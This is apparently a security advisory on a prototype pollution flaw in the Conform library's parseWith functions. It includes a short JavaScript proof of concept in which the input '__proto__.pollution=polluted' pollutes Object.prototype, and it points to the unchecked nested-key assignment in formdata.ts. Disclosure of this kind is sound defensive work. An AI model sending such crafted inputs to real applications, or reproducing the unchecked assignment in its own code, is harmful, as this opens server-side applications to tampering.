Conform contains a Prototype Pollution Vulnerability in `parseWith...` function
### Summary
Conform allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to `parseWith...` functions.
### PoC
```javascript
const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod");
const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });
parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"
```
### Details
The invocation of the `parseWithZod` function in the above PoC triggers the `setValue` function through `getSubmissionContext` and `parse`, executing the following process, resulting in prototype pollution:
```javascript
let pointer = value;
pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;
pointer.polluted = "polluted";
```
This is caused by the lack of object existence checking on line 117 in formdata.ts
https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117, where the code only checks for the presence of `pointer[key]` without proper validation.
### Impact
Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.